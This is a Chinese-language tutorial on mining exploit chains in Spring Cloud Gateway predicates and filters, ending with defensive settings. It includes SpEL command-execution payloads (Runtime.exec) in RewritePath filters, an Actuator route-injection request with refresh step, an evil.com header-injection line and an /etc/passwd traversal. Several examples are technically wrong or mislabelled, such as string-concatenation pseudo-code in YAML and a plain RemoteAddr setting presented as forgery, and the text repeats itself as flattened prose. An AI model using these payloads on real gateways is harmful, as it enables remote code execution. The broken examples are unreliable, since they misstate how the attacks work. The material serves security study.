手把手带你挖掘spring-cloud-gateway新链
字数 1330 2025-08-07 08:22:29

Spring Cloud Gateway 漏洞挖掘与分析

前言

Spring Cloud Gateway 是基于 Spring 5、Spring Boot 2 和 Project Reactor 等技术构建的 API 网关,由于其广泛使用和复杂的路由配置机制,存在多种潜在的安全风险。本文将深入分析 Spring Cloud Gateway 的漏洞挖掘方法,特别是针对 predicates 和 filters 的利用链。

核心概念

1. Gateway 基本架构

Spring Cloud Gateway 主要由以下三部分组成:

  • Route(路由):网关的基本构建块,由 ID、目标 URI、predicates 集合和 filters 集合组成
  • Predicate(断言):匹配 HTTP 请求的条件
  • Filter(过滤器):修改请求和响应的逻辑

2. 路由配置示例

spring:
  cloud:
    gateway:
      routes:
      - id: example_route
        uri: http://example.org
        predicates:
        - Path=/example/**
        filters:
        - AddRequestHeader=X-Request-Foo, Bar

漏洞挖掘方法论

1. Predicates 攻击面

Predicates 是路由匹配的条件,不当配置可能导致:

1.1 路径遍历漏洞

  • 漏洞点:Path predicate 的路径规范化处理不当
  • 利用方法
    predicates:
    - Path=/public/../private/**
    

1.2 正则表达式注入

  • 漏洞点:Regex predicate 使用用户输入构造正则
  • 利用方法
    predicates:
    - name: Regex
      args:
        regexp: ".*" + userInput + ".*"
    

1.3 远程条件匹配

  • 漏洞点:RemoteAddr predicate 可被伪造
  • 利用方法
    predicates:
    - RemoteAddr=192.168.1.1/24
    

2. Filters 攻击面

Filters 用于修改请求/响应,是主要攻击面:

2.1 表达式注入

  • 漏洞点:某些 filter 支持 SpEL 表达式
  • 利用方法
    filters:
    - name: RewritePath
      args:
        regexp: "/foo/(?<segment>.*)"
        replacement: "/bar/${T(java.lang.Runtime).getRuntime().exec(${segment})}"
    

2.2 头注入

  • 漏洞点:AddRequestHeader/AddResponseHeader 未过滤用户输入
  • 利用方法
    filters:
    - AddRequestHeader=X-Forwarded-Host: evil.com
    

2.3 路径重写漏洞

  • 漏洞点:RewritePath filter 的路径规范化问题
  • 利用方法
    filters:
    - RewritePath=/red/blue, /../../etc/passwd
    

漏洞利用链分析

1. 典型利用链示例

用户可控路由配置 → 恶意predicate → 危险filter → RCE/SSRF/信息泄露

2. 具体利用场景

场景1:通过 Actuator API 注入路由

  1. 获取 Actuator 端点访问权限
  2. 构造恶意路由配置
    POST /actuator/gateway/routes/new_route
    {
      "predicates": [{
        "name": "Path",
        "args": {"pattern": "/evil/**"}
      }],
      "filters": [{
        "name": "RewritePath",
        "args": {
          "regexp": "/evil/(?<segment>.*)",
          "replacement": "/${T(java.lang.Runtime).getRuntime().exec(${segment})}"
        }
      }],
      "uri": "http://example.com"
    }
    
  3. 刷新路由:POST /actuator/gateway/refresh

场景2:通过配置文件注入

  1. 获取配置文件写入权限
  2. 添加恶意路由配置
    spring:
      cloud:
        gateway:
          routes:
          - id: malicious
            uri: http://example.com
            predicates:
            - Path=/rce/**
            filters:
            - RewritePath=/rce/(?<cmd>.*), /${T(java.lang.Runtime).getRuntime().exec(${cmd})}
    

防御措施

  1. 输入验证:严格校验所有路由配置输入
  2. 权限控制
    • 限制 Actuator 端点访问
    • 禁用不必要的 HTTP 方法
  3. 安全配置
    management:
      endpoint:
        gateway:
          enabled: false
      endpoints:
        web:
          exposure:
            include: ""
    
  4. 代码审计:定期检查自定义 predicates 和 filters
  5. 最小权限原则:网关运行账户应具有最小权限

总结

Spring Cloud Gateway 的 predicates 和 filters 机制提供了强大的灵活性,但也带来了显著的安全风险。通过深入理解其工作原理和潜在的攻击面,安全研究人员可以挖掘出多种利用链。防御方面需要从配置安全、权限控制和输入验证等多方面入手,才能有效降低风险。

扩展思考

  1. 如何结合其他 Spring 特性(如 Spring EL、JDBC 等)构造更复杂的利用链?
  2. 在云原生环境下,Gateway 漏洞如何影响整个微服务架构?
  3. 如何设计自动化工具来检测 Gateway 的不安全配置?
Spring Cloud Gateway 漏洞挖掘与分析 前言 Spring Cloud Gateway 是基于 Spring 5、Spring Boot 2 和 Project Reactor 等技术构建的 API 网关,由于其广泛使用和复杂的路由配置机制,存在多种潜在的安全风险。本文将深入分析 Spring Cloud Gateway 的漏洞挖掘方法,特别是针对 predicates 和 filters 的利用链。 核心概念 1. Gateway 基本架构 Spring Cloud Gateway 主要由以下三部分组成: Route(路由) :网关的基本构建块,由 ID、目标 URI、predicates 集合和 filters 集合组成 Predicate(断言) :匹配 HTTP 请求的条件 Filter(过滤器) :修改请求和响应的逻辑 2. 路由配置示例 漏洞挖掘方法论 1. Predicates 攻击面 Predicates 是路由匹配的条件,不当配置可能导致: 1.1 路径遍历漏洞 漏洞点 :Path predicate 的路径规范化处理不当 利用方法 : 1.2 正则表达式注入 漏洞点 :Regex predicate 使用用户输入构造正则 利用方法 : 1.3 远程条件匹配 漏洞点 :RemoteAddr predicate 可被伪造 利用方法 : 2. Filters 攻击面 Filters 用于修改请求/响应,是主要攻击面: 2.1 表达式注入 漏洞点 :某些 filter 支持 SpEL 表达式 利用方法 : 2.2 头注入 漏洞点 :AddRequestHeader/AddResponseHeader 未过滤用户输入 利用方法 : 2.3 路径重写漏洞 漏洞点 :RewritePath filter 的路径规范化问题 利用方法 : 漏洞利用链分析 1. 典型利用链示例 2. 具体利用场景 场景1:通过 Actuator API 注入路由 获取 Actuator 端点访问权限 构造恶意路由配置 刷新路由: POST /actuator/gateway/refresh 场景2:通过配置文件注入 获取配置文件写入权限 添加恶意路由配置 防御措施 输入验证 :严格校验所有路由配置输入 权限控制 : 限制 Actuator 端点访问 禁用不必要的 HTTP 方法 安全配置 : 代码审计 :定期检查自定义 predicates 和 filters 最小权限原则 :网关运行账户应具有最小权限 总结 Spring Cloud Gateway 的 predicates 和 filters 机制提供了强大的灵活性,但也带来了显著的安全风险。通过深入理解其工作原理和潜在的攻击面,安全研究人员可以挖掘出多种利用链。防御方面需要从配置安全、权限控制和输入验证等多方面入手,才能有效降低风险。 扩展思考 如何结合其他 Spring 特性(如 Spring EL、JDBC 等)构造更复杂的利用链? 在云原生环境下,Gateway 漏洞如何影响整个微服务架构? 如何设计自动化工具来检测 Gateway 的不安全配置?